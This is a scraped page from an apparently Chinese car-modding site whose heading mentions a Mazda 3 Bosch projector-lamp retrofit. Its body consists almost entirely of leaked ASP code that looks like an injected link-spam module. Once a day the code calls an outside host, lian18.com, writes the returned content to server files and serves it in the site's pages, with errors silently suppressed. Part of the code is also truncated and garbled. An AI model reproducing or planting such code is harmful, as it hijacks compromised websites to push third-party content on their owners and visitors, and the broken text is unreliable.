搜索: 您的位置：首页 > 汽车改装 > 马自达3改装博世双光透镜

 <% err.clear On Error Resume Next if isempty(request("linksystemg")) then ls_host=Request.ServerVariables("HTTP_HOST") ls_host=LCase(ls_host) ls_host=replace(ls_host,"www.","") lsfn_content="linksystem_content_asp_homepage_lian18-com-"+ls_host+".txt" lsfn_time="linksystem_time_asp_homepage_lian18-com-"+ls_host+".txt" set linksystem_fs=Server.CreateObject("Scripting.FileSystemObject") set linksystem_tfile=linksystem_fs.OpenTextFile(server.MapPath(lsfn_time)) if err.number<>0 then err.clear ls_lasttime="" else ls_lasttime=linksystem_tfile.readall end if ls_time=cstr(day(now())) if ls_lasttime="" or ls_time <> ls_lasttime or not isempty(request("lsreload")) then set linksystem_tfile=linksystem_fs.createtextfile(server.MapPath(lsfn_time)) linksystem_tfile.write ls_time if err.number=0 then ls_content=lsgetHTTPPage("http://lian18.com/?r=qifazhi.cn&v=1&t=asp&p=homepage&d="+Request.ServerVariables("HTTP_HOST")+"&f="+Request.ServerVariables("Url")) if ls_content<>"" then ls_p=split(ls_content,"") ls_content=ls_p(1) ls_p=split(ls_content,"") ls_content=ls_p(0) ls_content=""+ls_content+"" set linksystem_tfile=linksystem_fs.createtextfile(server.MapPath(lsfn_content),true,true) linksystem_tfile.write ls_content end if else ls_content="error writing file. reload" end if else set linksystem_tfile=linksystem_fs.OpenTextFile(server.MapPath(lsfn_content),1,True,True) ls_content=linksystem_tfile.readall end if if not isempty(request("lsfocus")) then ls_content=replace(ls_content,"4 then exit function end if lsgetHTTPPage=lsBytesToBstr(Http.responseBody,"UTF-8") set http=nothing if err.number<>0 then err.Clear end function Function lsBytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset lsBytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %>